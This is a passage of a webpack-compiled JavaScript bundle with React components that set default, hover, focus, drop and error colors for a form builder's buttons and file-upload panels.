var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var NextColors = function (_Component) {
	_inherits(NextColors, _Component);

	function NextColors(props) {
		_classCallCheck(this, NextColors);

		return _possibleConstructorReturn(this, (NextColors.__proto__ || Object.getPrototypeOf(NextColors)).call(this, props));
	}

	_createClass(NextColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-color-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-color-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Label color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'next-color-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				)
			);
		}
	}]);

	return NextColors;
}(_react.Component);

exports.default = NextColors;

/***/ }),
/* 282 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SubmitColors = function (_Component) {
	_inherits(SubmitColors, _Component);

	function SubmitColors(props) {
		_classCallCheck(this, SubmitColors);

		return _possibleConstructorReturn(this, (SubmitColors.__proto__ || Object.getPrototypeOf(SubmitColors)).call(this, props));
	}

	_createClass(SubmitColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#008FCA"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#008FCA"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-submit-color-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				)
			);
		}
	}]);

	return SubmitColors;
}(_react.Component);

exports.default = SubmitColors;

/***/ }),
/* 283 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _accordion = __webpack_require__(35);

var _accordion2 = _interopRequireDefault(_accordion);

var _uploadPanelSingle = __webpack_require__(284);

var _uploadPanelSingle2 = _interopRequireDefault(_uploadPanelSingle);

var _uploadPanelMultiple = __webpack_require__(285);

var _uploadPanelMultiple2 = _interopRequireDefault(_uploadPanelMultiple);

var _uploadFileMultiple = __webpack_require__(286);

var _uploadFileMultiple2 = _interopRequireDefault(_uploadFileMultiple);

var _uploadFileDelete = __webpack_require__(287);

var _uploadFileDelete2 = _interopRequireDefault(_uploadFileDelete);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var UploadedFilesColors = function (_Component) {
	_inherits(UploadedFilesColors, _Component);

	function UploadedFilesColors(props) {
		_classCallCheck(this, UploadedFilesColors);

		return _possibleConstructorReturn(this, (UploadedFilesColors.__proto__ || Object.getPrototypeOf(UploadedFilesColors)).call(this, props));
	}

	_createClass(UploadedFilesColors, [{
		key: 'render',
		value: function render() {
			var hasSingleUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'single') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'postdata', 'post_image', 'false');

			var hasMultiUpload = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'upload', 'file-type', 'multiple');

			return _react2.default.createElement(
				'div',
				{ className: 'sui-box' },
				hasSingleUpload && _react2.default.createElement(
					_react2.default.Fragment,
					null,
					_react2.default.createElement(
						_accordion2.default,
						_extends({}, this.props, {
							label: (0, _utils.translate)('Single File Uploader')
						}),
						_react2.default.createElement(_uploadPanelSingle2.default, this.props)
					)
				),
				hasMultiUpload && _react2.default.createElement(
					_react2.default.Fragment,
					null,
					_react2.default.createElement(
						_accordion2.default,
						_extends({}, this.props, {
							label: (0, _utils.translate)('Multiple Files Uploader')
						}),
						_react2.default.createElement(_uploadPanelMultiple2.default, this.props)
					),
					_react2.default.createElement(
						_accordion2.default,
						_extends({}, this.props, {
							label: (0, _utils.translate)('Uploaded File')
						}),
						_react2.default.createElement(_uploadFileMultiple2.default, this.props)
					)
				),
				_react2.default.createElement(
					_accordion2.default,
					_extends({}, this.props, {
						label: (0, _utils.translate)('Uploaded File Delete Button')
					}),
					_react2.default.createElement(_uploadFileDelete2.default, this.props)
				)
			);
		}
	}]);

	return UploadedFilesColors;
}(_react.Component);

exports.default = UploadedFilesColors;

/***/ }),
/* 284 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var SingleUploadPanelColors = function (_Component) {
	_inherits(SingleUploadPanelColors, _Component);

	function SingleUploadPanelColors(props) {
		_classCallCheck(this, SingleUploadPanelColors);

		return _possibleConstructorReturn(this, (SingleUploadPanelColors.__proto__ || Object.getPrototypeOf(SingleUploadPanelColors)).call(this, props));
	}

	_createClass(SingleUploadPanelColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Default'),
						value: 'default'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABC9C"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-static',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Hover'),
						value: 'hover'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#01A383"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						label: (0, _utils.translate)('Focus'),
						value: 'focus'
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-background-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#01A383"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'button-upload-color-active',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
					}))
				)
			);
		}
	}]);

	return SingleUploadPanelColors;
}(_react.Component);

exports.default = SingleUploadPanelColors;

/***/ }),
/* 285 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var MultiUploadPanelColors = function (_Component) {
	_inherits(MultiUploadPanelColors, _Component);

	function MultiUploadPanelColors(props) {
		_classCallCheck(this, MultiUploadPanelColors);

		return _possibleConstructorReturn(this, (MultiUploadPanelColors.__proto__ || Object.getPrototypeOf(MultiUploadPanelColors)).call(this, props));
	}

	_createClass(MultiUploadPanelColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						value: 'default',
						label: (0, _utils.translate)('Default')
					},
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Cloud icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Message text color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-text-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Message link color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-link-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'hover',
						label: (0, _utils.translate)('Hover')
					},
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
						isAlpha: true
					})),
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Cloud icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-hover',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'drop',
						label: (0, _utils.translate)('Drop')
					},
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-drop',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E1F6FF"),
						isAlpha: true
					})),
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-drop',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Cloud icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-drop',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
						isAlpha: true
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'error',
						label: (0, _utils.translate)('Error')
					},
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-background-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#EDEDED"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: this.props.formDesign === 'flat' ? (0, _utils.translate)('Left border color') : (0, _utils.translate)('Border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-border-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
						isAlpha: true
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Cloud icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-panel-icon-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
						isAlpha: true
					}))
				)
			);
		}
	}]);

	return MultiUploadPanelColors;
}(_react.Component);

exports.default = MultiUploadPanelColors;

/***/ }),
/* 286 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var MultiUploadFileColors = function (_Component) {
	_inherits(MultiUploadFileColors, _Component);

	function MultiUploadFileColors(props) {
		_classCallCheck(this, MultiUploadFileColors);

		return _possibleConstructorReturn(this, (MultiUploadFileColors.__proto__ || Object.getPrototypeOf(MultiUploadFileColors)).call(this, props));
	}

	_createClass(MultiUploadFileColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_tabs2.default,
				{
					'default': 'default',
					type: 'tabs',
					extraClass: 'sui-tabs-flushed'
				},
				_react2.default.createElement(
					_container2.default,
					{
						value: 'default',
						label: (0, _utils.translate)('Default')
					},
					this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview border color'),
						description: (0, _utils.translate)('Default state border will not appear when file ' + 'uploaded is an image.'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-border-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-background-default',
						defaultValue: this.props.formDesign === 'flat' ? '#EDEDED' : '#FFFFFF'
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-icon-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File name color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-name-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File size color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-size-default',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('Loading icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-loader-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
					}))
				),
				_react2.default.createElement(
					_container2.default,
					{
						value: 'error',
						label: (0, _utils.translate)('Error')
					},
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview border color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-border-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
					})),
					this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview background color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-background-error',
						defaultValue: this.props.formDesign === 'flat' ? '#EDEDED' : '#FFFFFF'
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File preview icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-preview-icon-error',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
					})),
					_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
						label: (0, _utils.translate)('File size icon color'),
						property: (0, _utils.getThemePrefix)(this.props) + 'multiupload-file-error-color',
						defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562")
					}))
				)
			);
		}
	}]);

	return MultiUploadFileColors;
}(_react.Component);

exports.default = MultiUploadFileColors;

/***/ }),
/* 287 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

var _tabs = __webpack_require__(10);

var _tabs2 = _interopRequireDefault(_tabs);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

